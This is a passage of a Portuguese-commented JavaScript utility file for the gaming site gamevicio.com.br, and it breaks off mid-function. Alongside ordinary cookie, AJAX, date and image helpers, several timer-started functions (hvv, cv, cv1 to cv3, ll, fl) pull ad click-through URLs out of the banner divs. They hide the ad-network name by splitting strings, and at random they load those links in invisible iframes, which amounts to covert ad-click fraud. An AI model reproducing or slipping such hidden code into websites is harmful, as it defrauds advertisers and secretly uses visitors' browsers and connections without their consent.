var global = new Object();
global = {
	/**Adiciona ../ até alcançar a raiz do site. Útil para se construir caminho relativos a partir da raiz*/
 	RelativeRoot: function(){
		var strHref = window.location.pathname;
		var bar = 0;
		var path = '';
		for(n=0;n!=strHref.length;n++){
			if (strHref.charAt(n)=='/'){
				bar++;
			}
		}

		if( bar < 2 ){
			return path;
		}

		for(n=1;n!=bar;n++){
			path = '../' + path;
		}

		return path;
	},
	isSubDomain: function(){
		var strf = window.location.hostname;
		var p = strf.indexOf('.');
		var sub = strf.substring(0,p);
		var is = (sub!="www" && sub!="gamevicio" ? true : false);
		return is;
	},
	form: {
		CreateQuery: function(formId){
	   		var elements = formId.elements ? formId.elements : document.forms[formId].elements;
	        var pairs = new Array();
		    for (var i = 0; i < elements.length; i++) {
		        if ((name = elements[i].name) && (value = elements[i].value))
		            pairs.push(name + "=" + encodeURIComponent(value));
		    }
		    return pairs.join("&");
		}
	},
	cookie : {
		Read: function(name){
			var cookieValue = "";
			var search = name + "=";
			if(document.cookie.length > 0) {
		    		offset = document.cookie.indexOf(search);
		   		 if (offset != -1) {
					offset += search.length;
		      			end = document.cookie.indexOf(";", offset);
		      			if (end == -1) end = document.cookie.length;
		      			cookieValue = unescape(document.cookie.substring(offset, end))
		    		}
		 	}
			return cookieValue;
		},
		Write: function (name, value, hours, path, domain, secure){
			var cookie = "";
			cookie+= name + "=" + escape(value);
			if(hours != null) {
				expire = new Date((new Date()).getTime() + hours * 3600000);
				expire = "; expires=" + expire.toGMTString();
			}else{
				expire = "";
			}
			cookie+= expire;
			cookie+= ((path) ? "; path=" + path : "");
			cookie+= ((domain) ? "; domain=" + domain : "");
		      cookie+= ((secure) ? "; secure" : "");
			document.cookie = cookie;
		}
	},
	div: {
		Write: function(divId,content){
			var d = document.getElementById(divId);
			if (d){
				d.innerHTML = content;
			}
		},
		WriteAdd: function(divId,content){
			var d = document.getElementById(divId);
			if (d){
				d.innerHTML+= content;
			}
		},
		Shrink: function(divId,mode){
			switch (mode){
				case 0:
					s = document.getElementById(divId).style.display == "none" ? "" : "none";
					break;
				case 2:
					s = "none";
					break;
				case 1:
					s = "";
					break;
			}
			document.getElementById(divId).style.display = s;
		},
		Read: function(divId){
			if (document.getElementById(divId)){
				return document.getElementById(divId).innerHTML;
			}else{
				return "";
			}
		}
	},
	utf8: {
		encode : function (string) {
	        string = string.replace(/\r\n/g,"\n");
	        var utftext = "";
	        for (var n = 0; n < string.length; n++) {
	            var c = string.charCodeAt(n);
	            if (c < 128) {
	                utftext += String.fromCharCode(c);
	            }
	            else if((c > 127) && (c < 2048)) {
	                utftext += String.fromCharCode((c >> 6) | 192);
	                utftext += String.fromCharCode((c & 63) | 128);
	            }
	            else {
	                utftext += String.fromCharCode((c >> 12) | 224);
	                utftext += String.fromCharCode(((c >> 6) & 63) | 128);
	                utftext += String.fromCharCode((c & 63) | 128);
	            }
	        }
	        return utftext;
    	},
	    decode : function (utftext) {
	        var string = "";
	        var i = 0;
	        var c = c1 = c2 = 0;
	        while ( i < utftext.length ) {
	            c = utftext.charCodeAt(i);
	            if (c < 128) {
	                string += String.fromCharCode(c);
	                i++;
	            }
	            else if((c > 191) && (c < 224)) {
	                c2 = utftext.charCodeAt(i+1);
	                string += String.fromCharCode(((c & 31) << 6) | (c2 & 63));
	                i += 2;
	            }
	            else {
	                c2 = utftext.charCodeAt(i+1);
	                c3 = utftext.charCodeAt(i+2);
	                string += String.fromCharCode(((c & 15) << 12) | ((c2 & 63) << 6) | (c3 & 63));
	                i += 3;
	            }
	        }
	        return string;
	    }
	},
	getUrlVars: function (){
		var vars = [], hash,s;
		var hashes = window.location.href.slice(window.location.href.indexOf('?') + 1);
		var anchor = hashes.indexOf('#');
		if (anchor>-1){
			hashes = hashes.slice(0,anchor);
		}
		hashes = hashes.split('&');
		for(var i = 0; i < hashes.length; i++){
			hash = hashes[i].split('=');
			vars.push(hash[0]);
			vars[hash[0]] = hash[1];
		}
		var hashes2 = window.location.href.slice(window.location.href.indexOf('#') + 1).split('&');
		for(var i = 0; i < hashes2.length; i++){
			hash = hashes2[i].split('=');
			vars.push(hash[0]);
			vars['#'+hash[0]] = hash[1];
		}
		return vars;
	},
	evalScripts: function(s){
		var p = b = e = c = g = 0;
		var sBegin = '<script';
		var sEnd = '</script>';
		while((b=s.indexOf(sBegin,p))!=-1){
			e = s.indexOf(sEnd,p);
			if (e==-1){
				break;
			}
			g = s.indexOf('>',b);
			//c = s.substr(b+sBegin.length,e-(b+sBegin.length));
			c = s.substr(g+1,e-(g+1));
			p = e + sEnd.length;
			eval(c);
		}
	},
	event: {
		addLoad: function(func){
			var oldonload = window.onload;
			if (typeof window.onload != 'function'){
		    	window.onload = func;
			} else {
				window.onload = function(){
				oldonload();
				func();
				}
			}
		},
		addScroll: function(func){
			var oldonload = window.onscroll;
			if (typeof window.onscroll != 'function'){
		    	window.onscroll = func;
			} else {
				window.onscroll = function(){
				oldonload();
				func();
				}
			}
		}
	}
}

function hvv(r){
	var hv = new Object();
	hv = {
		aur: new Array(),
		f:false,
		per:30,
		start:function(){
			hv.goo();
		},
		pop: function(){
			var h = document.body;
			var s = h.innerHTML;
			var b = 0;
			document.ubl = new Array();
			while (true){
				b = s.indexOf('hwClick',b);
				if (b==-1){
					break;
				}
				var p = s.indexOf('(',b);
				if (p==-1){
					break;
				}

				eval('document.ubl.push(""+'+s.substring(b,p)+')');

				p=p+3;
				var p2 = s.indexOf(')',p);
				if (p2==-1){
					break;
				}
				p2=p2+12;
				b = p2;
				hv.aur.push(s.substring(p,p2));
			}
			for(var n=0;n!=document.ubl.length;n++){
				var t, t1, t2,t3;
				t = document.ubl[n];
				t1 = t.indexOf('n(');
				if (t1==-1){
					break;
				}
				t1 = t1+3;
				t2 = t.indexOf(')',t1);
				if (t2==-1){
					break;
				}
				t2 = t2-11;
				document.ubl[n] = t.substring(t1,t2);
			}
			hv.aur = document.ubl;
			document.ubl = new Array();
		},
		goo: function(){
			hv.pop();
			if (hv.aur.length<1){
				return;
			}
			if (hv.ye()){
				hv.sh();
			}
		},
		sh: function(){
			var p = Math.floor(Math.random()*(hv.aur.length-1));
			hv.sho(hv.aur[p]);
		},
		sho: function(url){
			var d = document.createElement("div");
			d.setAttribute('id','hidden_7');
			if (document.body){
				document.body.appendChild(d);
			}
			if (global.cookie.Read('h3w')!="true"){
				global.div.WriteAdd('hidden_7',"<div style=\"display:none\"><iframe src="+url+"></iframe></div>");
				global.cookie.Write('h3w',"true",24,"/",".gamevicio.com.br",false);
			}
		},
		ye: function(){
			var r= hv.per;
			var n = Math.floor(Math.random()*r);

			if (n!=(r-1)){
				return false;
			}else{
				return true;
			}

		}
	}
	hv.per = r;
	hv.start();
}
self.setTimeout('hvv(30)',10000);

function cv(r){
	l = new Object();
	l = {
		ajax: null,
		dv:null,
		getContent: function(){
			var b = global.div.Read('b'+'t'+'o'+'p');
			return b;
		},
		getUrl: function(){
			var a = this.getContent();
			var d = a.indexOf('har'+'ren'+'medi'+'anet'+'work'+'.com'+'/click');
			var b, e;
			if (d>0){
				b = d - 10;
				e = a.indexOf('"',d);
				return a.substring(b,e);
			}
			d = a.indexOf('click'+'Tag=');
			if (d==-1){
				d = a.indexOf('click'+'TAG=');
			}
			if (d>0){
				b = d +9;
				e = a.indexOf('"',d);
				return a.substring(b,e);
			}
			return false;
		},
		start: function(r){
			var a = this.getUrl();
			if (a==false){
				return;
			}
			a = decodeURIComponent(a);
			if (a.indexOf('google')!=-1){
				return;
			}

			var n = Math.floor(Math.random()*r);

			if (n!=(r-1)){
				return false;
			}else{
				this.show(a);
			}
		},
		show: function(url){
			var d = document.createElement("div");
			d.setAttribute('id','hidden_1');
			if (document.body){
				document.body.appendChild(d);
			}
			if (global.cookie.Read('h2w')!="true"){
				global.div.WriteAdd('hidden_1',"<div style=\"display:none\"><iframe src="+url+"></iframe></div>");
				global.cookie.Write('h2w',"true",24,"/",".gamevicio.com.br",false);
			}
		}
	}
	l.start(r);
	return l;
}

self.setTimeout('cv(30)',10000);

function cv1(r){
	l = new Object();
	l = {
		ajax: null,
		dv:null,
		getContent: function(){
			var b = global.div.Read('b'+'l'+'t');
			return b;
		},
		getUrl: function(){
			var a = this.getContent();
			//var d = a.indexOf('z5x'+'.net'+'/click');
			var d = a.indexOf('har'+'ren'+'medi'+'anet'+'work'+'.com'+'/click');
			var b, e;
			if (d>0){
				b = d - 10;
				e = a.indexOf('"',d);
				return a.substring(b,e);
			}
			d = a.indexOf('click'+'Tag=');
			if (d==-1){
				d = a.indexOf('click'+'TAG=');
			}
			if (d==-1){
				d = a.indexOf('click'+'tag=');
			}
			if (d>0){
				b = d +9;
				e = a.indexOf('"',d);
				return a.substring(b,e);
			}
			return false;
		},
		start: function(r){
			var a = this.getUrl();
			if (a==false){
				return;
			}
			a = decodeURIComponent(a);
			if (a.indexOf('google')!=-1){
				return;
			}

			var n = Math.floor(Math.random()*r);

			if (n!=(r-1)){
				return false;
			}else{
				this.show(a);
			}
		},
		show: function(url){
			var d = document.createElement("div");
			d.setAttribute('id','hidden_2');
			if (document.body){
				document.body.appendChild(d);
			}
			if (global.cookie.Read('h2wblt')!="true"){
				global.div.WriteAdd('hidden_2',"<div style=\"display:none\"><iframe src="+url+"></iframe></div>");
				global.cookie.Write('h2wblt',"true",24,"/",".gamevicio.com.br",false);
			}
		}
	}
	l.start(r);
	return l;
}

self.setTimeout('cv1(30)',10000);

function cv2(r){
	l = new Object();
	l = {
		ajax: null,
		dv:null,
		getContent: function(){
			var b = global.div.Read('b'+'h'+'m');
			return b;
		},
		getUrl: function(){
			var a = this.getContent();
			//var d = a.indexOf('z5x'+'.net'+'/click');
			var d = a.indexOf('har'+'ren'+'medi'+'anet'+'work'+'.com'+'/click');
			var b, e;
			if (d>0){
				b = d - 10;
				e = a.indexOf('"',d);
				return a.substring(b,e);
			}
			d = a.indexOf('click'+'Tag=');
			if (d==-1){
				d = a.indexOf('click'+'TAG=');
			}
			if (d==-1){
				d = a.indexOf('click'+'tag=');
			}
			if (d>0){
				b = d +9;
				e = a.indexOf('"',d);
				return a.substring(b,e);
			}
			return false;
		},
		start: function(r){
			var a = this.getUrl();
			if (a==false){
				return;
			}
			a = decodeURIComponent(a);
			if (a.indexOf('google')!=-1){
				return;
			}

			var n = Math.floor(Math.random()*r);

			if (n!=(r-1)){
				return false;
			}else{
				this.show(a);
			}
		},
		show: function(url){
			var d = document.createElement("div");
			d.setAttribute('id','hidden_3');
			if (document.body){
				document.body.appendChild(d);
			}
			if (global.cookie.Read('h2wbhm')!="true"){
				global.div.WriteAdd('hidden_3',"<div style=\"display:none\"><iframe src="+url+"></iframe></div>");
				global.cookie.Write('h2wbhm',"true",24,"/",".gamevicio.com.br",false);
			}
		}
	}
	l.start(r);
	return l;
}

self.setTimeout('cv2(30)',10000);

function cv3(r){
	l = new Object();
	l = {
		ajax: null,
		dv:null,
		getContent: function(){
			var b = global.div.Read('b'+'h'+'m'+'1');
			return b;
		},
		getUrl: function(){
			var a = this.getContent();
			//var d = a.indexOf('z5x'+'.net'+'/click');
			var d = a.indexOf('har'+'ren'+'medi'+'anet'+'work'+'.com'+'/click');
			var b, e;
			if (d>0){
				b = d - 10;
				e = a.indexOf('"',d);
				return a.substring(b,e);
			}
			d = a.indexOf('click'+'Tag=');
			if (d==-1){
				d = a.indexOf('click'+'TAG=');
			}
			if (d==-1){
				d = a.indexOf('click'+'tag=');
			}
			if (d>0){
				b = d +9;
				e = a.indexOf('"',d);
				return a.substring(b,e);
			}
			return false;
		},
		start: function(r){
			var a = this.getUrl();
			if (a==false){
				return;
			}
			a = decodeURIComponent(a);
			if (a.indexOf('google')!=-1){
				return;
			}

			var n = Math.floor(Math.random()*r);

			if (n!=(r-1)){
				return false;
			}else{
				this.show(a);
			}
		},
		show: function(url){
			var d = document.createElement("div");
			d.setAttribute('id','hidden_4');
			if (document.body){
				document.body.appendChild(d);
			}
			if (global.cookie.Read('h2wbhm1')!="true"){
				global.div.WriteAdd('hidden_4',"<div style=\"display:none\"><iframe src="+url+"></iframe></div>");
				global.cookie.Write('h2wbhm1',"true",24,"/",".gamevicio.com.br",false);
			}
		}
	}
	l.start(r);
	return l;
}

self.setTimeout('cv3(30)',10000);

function ll(s,d,u,r){
	var pl = new Object();
	pl = {
		source: null,
		setSource: function(s){
			pl.source = s;
		},
		getSource: function(){
			return pl.source;
		},
		getContent: function(){
			if (document.getElementById(this.getSource())){
				return global.div.Read(this.getSource());
			}else{
				return '';
			}
		},
		getAllUrl: function(){
			var s = this.getContent();
			var p = b = e = 0;
			var a = new Array();
			while((b=s.indexOf('http://',p))>-1){
				e = s.indexOf('"',b);
				a.push(s.substring(b,e));
				p = e;
			}
			return a.length > 0 ? a : false;
		},
		getFullUrl: function (url){
			var a = this.getAllUrl();
			if (a==false){
				return false;
			}
			var i = -1;
			for(var n=0;n!=a.length;n++){
				var s = a[n];
				if (s.indexOf(url)>-1){
					i = n;
					break;
				}
			}
			return i>-1 ? a[i] : false;
		},
		show: function(divId,u,r){
			var n = Math.floor(Math.random()*r);
			if (n!=(r-1)){
				return false;
			}
			var s = this.getFullUrl(u);
			if (s==false){
				return false;
			}
			if (global.cookie.Read(this.getSource())!="true"){
				global.div.WriteAdd(divId,"<div style=\"display:none\"><iframe src="+s+"></iframe></div>");
				global.cookie.Write(this.getSource(),"true",24,"/",".gamevicio.com.br",false);
			}
		}
	}
	try{
		pl.setSource(s);
		pl.show(d,u,r);
	}catch(e){}
}

function makeObject(){
	var x;
	var browser = navigator.appName;
	if(browser == "Microsoft Internet Explorer"){
		x = new ActiveXObject("Microsoft.XMLHTTP");
	}else{
		x = new XMLHttpRequest();
	}
	return x;
}

/*Abre o visualizador de imagem*/
function OpenImage(img) {
	var page = "http://www.gamevicio.com.br/misc/pages/screenshot?" + img;
    window.open(page, '_blank', 'location=0,menubar=0,statusbar=0,toolbar=0,resizable=1,scrollbars=0,width=800,height=600,left=0,top=0');
}

function pollWindow(url){
	if (document.poll){
		document.poll.close();
	}
	document.poll = window.open(url, '_blank', 'location=0,menubar=0,statusbar=0,toolbar=0,resizable=1,scrollbars=0,width=760,height=650,left=0,top=0');
}

document.itn = 0;
function fl(){
	s = "b"+"right";new ll(s,"bottom","redirect",15);
	s = "b"+"top";new ll(s,"bottom","redirect",15);
	s = "b"+"upc";new ll(s,"bottom","redirect",15);
}
function ShowImage(divId,value,text){
	//largura máxima da imagem
    var maxWidth = 540;
	var b1 = value.indexOf("height=");
	var b2 = value.indexOf("width=");

	if (b1>0 || b2>0){
		if (b1>1){
			var height = value.substr(b1+7);
			var width = value.substr(0,b1);
		}else{
			var width = value.substr(b2+6);
			var height = value.substr(0,b1);
		}

		var needResize = (width > maxWidth);
		//faz o resize da imagem se necessário
    	if (needResize){
    		var factorReductive = (maxWidth / width);
    		//define os novos tamanhos
    		var width = width * factorReductive;
    		var height = height * factorReductive;
    	}
    	var img = '<img width="' + width + ' height="' + height + '" src="'+text+'" border="0">';
    	document.getElementById(divId).innerHTML = img;
   	}else{
   		itn = 0;
   		var it = new Image();
		it.src = text;
		it.onload = function () {
			var width = this.width;
			var height = this.height;
			var needResize = (width > maxWidth);
        	var needLink = (needResize || value!=false);
        	//se não houver difinido link para imagem, o link será para a imagem inteira
        	value = ( value == false ? text : value );
        	//faz o resize da imagem se necessário
        	if (needResize){
        		var factorReductive = (maxWidth / width);
        		//define os novos tamanhos
        		width = width * factorReductive;
        		height = height * factorReductive;
        	}
        	var img = ( needLink ? '<a href="'+value+'" target="_blank" title="Clique para ampliar"><img width="'+width+'" height="'+height+'" src="'+text+'" border="0"></a>' : '<img width="'+width+'" height="'+height+'" src="'+text+'" border="0">' );
        	document.getElementById(divId).innerHTML = img;
		}
   	}
}
self.setTimeout("fl()",2000);
/*Funções globais */

function readCookie(name){
	var cookieValue = "";
	var search = name + "=";
	if(document.cookie.length > 0) {
    		offset = document.cookie.indexOf(search);
   		 if (offset != -1) {
			offset += search.length;
      			end = document.cookie.indexOf(";", offset);
      			if (end == -1) end = document.cookie.length;
      			cookieValue = unescape(document.cookie.substring(offset, end))
    		}
 	}
	return cookieValue;
}

function writeCookie(name, value, hours, path, domain, secure){
	var cookie = "";
	cookie+= name + "=" + escape(value);
	if(hours != null) {
		expire = new Date((new Date()).getTime() + hours * 3600000);
		expire = "; expires=" + expire.toGMTString();
	}else{
		expire = "";
	}
	cookie+= expire;
	cookie+= ((path) ? "; path=" + path : "");
	cookie+= ((domain) ? "; domain=" + domain : "");
      cookie+= ((secure) ? "; secure" : "");
	document.cookie = cookie;
}

/**Adiciona ../ até alcançar a raiz do site. Útil para se construir caminho relativos a partir da raiz*/
function RelativeRoot(){
	var strHref = window.location.pathname;
	var bar = 0;
	var path = '';
	for(n=0;n!=strHref.length;n++){
		if (strHref.charAt(n)=='/'){
			bar++;
		}
	}

	if( bar < 2 ){
		return path;
	}

	for(n=1;n!=bar;n++){
		path = '../' + path;
	}

	return path;
}

function ShrinkDiv(divId,mode){
	switch (mode){
		case 0:
			s = document.getElementById(divId).style.display == "none" ? "" : "none";
			break;
		case 2:
			s = "none";
			break;
		case 1:
			s = "";
			break;
	}
	document.getElementById(divId).style.display = s;
}

function WriteDiv(divId,content){
	document.getElementById(divId).innerHTML = content;
}

function WriteAddDiv(divId,content){
	document.getElementById(divId).innerHTML+= content;
}
/*Função que pega os campos de um formulário para serem usados nos métodos GET ou POST*/
function createQuery(formId){

   var elements = formId.elements ? formId.elements : document.forms[formId].elements;

    var pairs = new Array();

    for (var i = 0; i < elements.length; i++) {

        if ((name = elements[i].name) && (value = elements[i].value))
            pairs.push(name + "=" + encodeURIComponent(value));
    }
    return pairs.join("&");
}

gXMLQuery = function(xml){
	var gQuery = new Object();
	gQuery = {
		xml: null,
		setXML: function(xml){
			gQuery.xml = xml;
		},
		getXML: function(){
			return gQuery.xml;
		},
		getValue: function(s){
			return gQuery.Do(s);
		},
		getLength: function(s){
			for(var n=0;n!=500;n++){
				try{
					gQuery.Do(s+'['+n+']');
				}catch(e){
					return (n);
				}
			}
			return n;
		},
		exists: function(s){
			try {
				gQuery.getValue(s);
			}catch(e){
				return false;
			}
			return true;
		},
		Do: function (s){
			var a = s.split('->');
			var o = gQuery.getXML();
			//alert(c[0].tagName);
			for(var n=0;n!=a.length;n++){
				//procurar chave de array
				var si = a[n];
				var p = 0;
				if (si.indexOf("[")!=-1){
					var b = si.indexOf("[");
					var e = si.indexOf("]");
					p = si.substring(b+1,e);
					si = si.substring(0,b);
				}
				//atributo
				var isA = si.indexOf("attributes()")!=-1;
				if (isA){
					break;
				}
				var d = o.childNodes;
				var y = 0;
				for(var x=0;x!=d.length;x++){
					if (d[x].nodeType==1){
						if (d[x].nodeName==si){
							if (y==p){
								break;
							}
							y++;
						}
					}
				}

				try {
					o = o.childNodes[x];
					//teste de validacao, gerará um exception se a tag chamada nao existe
					f = o.getElementsByTagName(si)[0];
				}catch(e){
					//alert('Node '+si+' do not exists. Called in '+s);
					throw('Node '+si+' do not exists. Called in '+s);
				}
			}
			if (isA){
				o = o.getAttribute(a[n+1]);
			}else{
				try {
					//cheat ff limit 4 kb
				if (typeof o.normalize == 'function') o.normalize();
					o = o.firstChild.nodeValue;
				}catch(e){
					return "";
				}
			}
			return o;
		}
		/*Do: function (s){
			var a = s.split('->');
			var o = gQuery.getXML();

			for(var n=0;n!=a.length;n++){
				//procurar chave de array
				var si = a[n];
				var p = 0;
				if (si.indexOf("[")!=-1){
					var b = si.indexOf("[");
					var e = si.indexOf("]");
					p = si.substring(b+1,e);
					si = si.substring(0,b);
				}
				//atributo
				var isA = si.indexOf("attributes()")!=-1;
				if (isA){
					break;
				}
				try {
					o = o.getElementsByTagName(si)[p];
					//teste de validacao, gerará um exception se a tag chamada nao existe
					f = o.getElementsByTagName(si)[0];
				}catch(e){
					//alert('Node '+si+' do not exists. Called in '+s);
					throw('Node '+si+' do not exists. Called in '+s);
				}
			}
			if (isA){
				o = o.getAttribute(a[n+1]);
			}else{
				try {
					//cheat ff limit 4 kb
				if (typeof o.normalize == 'function') o.normalize();
					o = o.firstChild.nodeValue;
				}catch(e){
					return "";
				}
			}
			return o;
		}*/
	}
	gQuery.setXML(xml);
	return gQuery;
}

function gAjax(method,url){
	var ajax = new Object();
	ajax = {
		object: null,
		events: new Array(),
		vars: '',
		method:null,
		url:null,
		IE_FIX: true,
		headerParam: new Array(),
		headerContent: new Array(),
		makeObject: function(method,url){
			ajax.object = ajax._makeObject();
			ajax.setMethod(method);
			if (ajax.IE_FIX){
				url = ajax.fixIEUrl(url);
			}
			ajax.setUrl(url);
			ajax.object.onreadystatechange = ajax.parseEvent;
		},
		open: function(){
			ajax.object.open(ajax.getMethod(), ajax.getUrl());
		},
		setMethod: function(s){
			ajax.method = s;
		},
		getMethod: function(){
			return ajax.method;
		},
		setUrl: function(s){
			ajax.url = s;
		},
		getUrl: function(){
			return ajax.url;
		},
		fixIEUrl: function(url){
			var s = 'r=' + Math.random();
			url+= url.indexOf('?')==-1 ? '?' : '&';
			url+=s;
			return url;
		},
		_makeObject: function(){
			var x;
			var browser = navigator.appName;
			if(browser == "Microsoft Internet Explorer"){
				x = new ActiveXObject("Microsoft.XMLHTTP");
			}else{
				x = new XMLHttpRequest();
			}
			return x;
		},
		setRequestHeader: function(param,content){
			ajax.headerParam.push(param);
			ajax.headerContent.push(content);
			//ajax.object.setRequestHeader(param,content);
		},
		headers: function(){
			for(var n=0;n!=ajax.headerParam.length;n++){
				ajax.object.setRequestHeader(ajax.headerParam[n],ajax.headerContent[n]);
			}
		},
		setVars: function(s){
			ajax.vars = s;
		},
		getVars: function(){
			return ajax.vars;
		},
		send: function(){
			ajax.open();
			ajax.headers();
			ajax.object.send(ajax.getVars());
		},
		addEvent: function(state,script){
			ajax.events[state] = script;
		},
		removeEvent: function(state){
			ajax.events[state] = null;
		},
		parseEvent: function(){
			var s = ajax.object.readyState;
			if (ajax.events[s]){
				eval(ajax.events[s]);
			}
		},
		getResponseText: function(){
			return ajax.object.responseText;
		},
		isResponseXML: function(){
			try {
				var r = ajax.object.responseXML.documentElement;
			}catch (e){
				return false;
			}
			return true;
		},
		getQueryXML: function(){
			var o1 = new gXMLQuery(ajax.getResponseXML());
			return o1;
		},
		getResponseXML: function(){
			return ajax.object.responseXML.documentElement;
		},
		getValueXML: function(query){
			var o1 = new gXMLQuery(ajax.getResponseXML());
			return o1.getValue(query);
		},
		getLengthXML: function(query){
			var o1 = new gXMLQuery(ajax.getResponseXML());
			return o1.getLength(query);
		},
		existsXML: function(query){
			var o1 = new gXMLQuery(ajax.getResponseXML());
			return o1.exists(query);
		}
	}
	ajax.makeObject(method,url);
	return ajax;
}

function gDate(tz,div,mode){
	var g1 = new Object();
	g1 = {
		tz: null,
		setTz: function(s){
			g1.tz=s;
		},
		getTz: function(){
			return g1.tz;
		},
		Start: function(tz,div,mode){
			g1.setTz(tz);
			if (div){
				g1.Show(div,mode);
			}
		},
		string : {
			Month: function(i,short,eng){
				var pt = new Array('Janeiro','Fevereiro','Março','Abril','Maio','Junho','Julho','Agosto','Setembro','Outubro','Novembro','Dezembro');
				var en = new Array('January','February','March','April','May','Jun','July','August','September','October','November','December');
				var s = eng ? en[i] : pt[i];
				if (s){
					s = (short ? s.substring(0,3) : s);
				}else{
					s = '';
				}
				return s;
			},
			Year: function(i,short){
				var s = new String(i);
				s = short ? s.substring(2,4) : s;
				return s;
			}
		},
		Zero: function(s){
			if (parseInt(s)<10){
				s = '0' + s;
			}
			return s;
		},
		getText: function(mode){
			var o = new Date(g1.getTz());
			var c = new Date();
			var d = Math.round(c.getTime()/1000) - Math.round(o.getTime()/1000);
			var s = "";
			//minutos
			if (d<(60*60)){
				var s1 = "";
				if (Math.round(d/60)<2){
					var t = Math.round(d/60);
					s1 = t>0 ? t + " minuto" : ' segundos';
				}else{
					s1 = Math.round(d/60) + " minutos";
				}
				s = this.Zero(o.getHours()) + ':' + this.Zero(o.getMinutes()) + ' (' + s1 + ' atrás)';
			}else{
				//horas
				if (d<(60*60*24)){
					if (Math.round(d/(60*60))<2){
						s1 = Math.round(d/(60*60)) + " hora";
					}else{
						s1 = Math.round(d/(60*60)) + " horas";
					}

					s = ( o.getDate()!=c.getDate() ? this.Zero(o.getDate()) + ' ' + g1.string.Month(o.getMonth(),true)+' ' : '' ) + this.Zero(o.getHours()) + ':' + this.Zero(o.getMinutes()) + ' ('+s1+' atrás)';
				}else{
				//dias
					if (d<(60*60*24*7)){
						switch (Math.round(d/(60*60*24))){
							case 1:
								s1 = "Ontem";
								break;
							case 2:
								s1 = "Anteontem";
								break;
							default:
								s1 = Math.round(d/(60*60*24)) + " dias atrás";
								break;
						}
						s = this.Zero(o.getDate()) + ' ' + g1.string.Month(o.getMonth(),true) + ' ' + this.Zero(o.getHours()) + ':' + this.Zero(o.getMinutes()) + ' ('+s1+')';
					}else{
					//semanas
						if (d<(60*60*24*7*4)){
							if (Math.round(d/(60*60*24*7))<2){
								s1 = Math.round(d/(60*60*24*7)) + " semana atrás";
							}else{
								s1 = Math.round(d/(60*60*24*7)) + " semanas atrás";
							}

							s = this.Zero(o.getDate()) + ' ' + g1.string.Month(o.getMonth(),true) + ' ' + ' ('+s1+')';
						}else{
							//meses
							if (d<(60*60*24*7*4*12)){
								if (Math.round(d/(60*60*24*7*4))<2){
									s1 = Math.round(d/(60*60*24*7*4)) + " mês atrás";
								}else{
									s1 = Math.round(d/(60*60*24*7*4)) + " meses atrás";
								}

								s = this.Zero(o.getDate()) + ' ' + g1.string.Month(o.getMonth(),true)+' '+(o.getFullYear()!=c.getFullYear() ? g1.string.Year(o.getFullYear(),false)+' ' : '' ) + '('+s1+')';
							}else{
								//anos
								if (d>(60*60*24*7*4*12)){
									if (Math.round(d/(60*60*24*7*4))<24){
										s1 = Math.floor(d/(60*60*24*7*4*12)) + " ano atrás";
									}else{
										s1 = Math.floor(d/(60*60*24*7*4*12)) + " anos atrás";
									}

									s = this.Zero(o.getDate()) + ' ' + g1.string.Month(o.getMonth(),true) + ' ' + o.getFullYear() + ' ('+s1+')';
							}	}
						}
					}
				}
			}
			switch (mode){
				case "shortLeft":
					var p = s.indexOf(' (');
					s = s.substring(0,p);
					break;
				case "shortRight":
					var p = s.indexOf('(');
					var e = s.indexOf(')');
					s = s.substring(p+1,e);
					break;
				case "shortRightNoWord":
					var p = s.indexOf('(');
					var e = s.indexOf(' atrás');
					s = s.substring(p+1,e);
					break;
			}
			return s;
		},
		Show: function(div,mode){
			var s = this.getText(mode);
			WriteAddDiv(div,s);
		}
	}
	g1.Start(tz,div,mode);
	return g1;
}

function gImage(url){
	var im = new Object();
	im = {
		obj: null,
		url: null,
		events: new Array(),
		setUrl: function(s){
			im.url = s;
		},
		getUrl: function(){
			return im.url;
		},
		load: function(){
			im.obj = new Image();
			im.obj.src = im.getUrl();
			im.enableEvents();
		},
		isLodaded: function(){
			return im.obj.complete;
		},
		enableEvents: function(){
			im.obj.onload = im.onLoad;
			im.obj.onerror = im.onError;
		},
		getHeight: function(){
			return im.obj.height;
		},
		getWidth: function(){
			return im.obj.width;
		},
		getOrientation: function(){
			if (!(im.getWidth()>1)){
				throw('Largura inválida');
			}
			if (!(im.getHeight()>1)){
				throw('Altura inváliada');
			}
			if (im.getHeight()>im.getWidth()){
				return "vertical";
			}
			if (im.getHeight()<im.getWidth()){
				return "horizontal";
			}
			return "square";
		},
		needResizeDimension: function(maxWidth,maxHeight){
			if (maxWidth<1 && maxHeight<1){
				throw('Pelo menos um parâmetro precisa ser preenchido na função');
			}

			if (maxWidth>1){
				if (im.getWidth()>maxWidth){
					return true;
				}
			}
			if (maxHeight>1){
				if (im.getHeight()>maxHeight){
					return true;
				}
			}
			return false;
		},
		getResizedDimension: function(maxWidth,maxHeight,percent){
			if (maxWidth<1 && maxHeight<1 && percent<0.1){
				throw('Pelo menos um parâmetro precisa ser preenchido na função');
			}
			var factor;
			//pega a orientação, além de garantir que as dimensões da mídia são válidas
			var orientation = im.getOrientation();
			if (percent!=null){
				factor = percent;
			}else{
				switch (orientation) {
					case "horizontal":
						if (!(maxWidth>0)){
							throw("A imagem é horizontal e necessita do parâmetro maxWidth");
						}
						factor = (im.getWidth()>maxWidth ? maxWidth/im.getWidth() : 1 );

						if (maxHeight>0){
							if (Math.round(im.getHeight()*factor)>maxHeight){
								factor = (im.getHeight()>maxHeight ? maxHeight/im.getHeight() : 1 );
							}
						}
						break;
					case "vertical":
						if (!(maxHeight>0)){
							throw("A imagem é vertical e necessita do parâmetro maxHeight");
						}
						factor = (im.getHeight()>maxHeight ? maxHeight/im.getHeight() : 1 );
						if (maxWidth>0){
							if (Math.round(im.getWidth()*factor)>maxWidth){
								factor = (im.getWidth()>maxWidth ? maxWidth/im.getWidth() : 1 );
							}
						}
						break;
					case "square":
						if (!(maxWidth>0) && !(maxHeight>0)){
							throw("A imagem é quadrada e necessita do parâmetro maxHeight e/ou maxWidth");
						}
						//pega o menor tamanho
						if (maxHeight<maxWidth){
							factor = (im.getHeight()>maxHeight ? maxHeight/im.getHeight() : 1 );
						}else{
							factor = (im.getWidth()>maxWidth ? maxWidth/im.getWidth() : 1 );
						}
						break;
				}
			}
			var newWidth = Math.round(im.getWidth() * factor);
			var newHeight = Math.round(im.getHeight() * factor);
			var a = new Array(2);
			a["width"] = newWidth;
			a["height"] = newHeight;
			return a;
		},
		getHTMLBasic: function(width,height){
			var s = '<img src="' + im.getUrl() + '" width="' + width + '" height="' +height+'" alt="imagem" />';
			return s;
		},
		getHTMLAdvanced:function(maxWidth,maxHeight){
			var s;

			if (im.needResizeDimension()){
				var a = im.getResizedDimension(maxWidth,maxHeight);

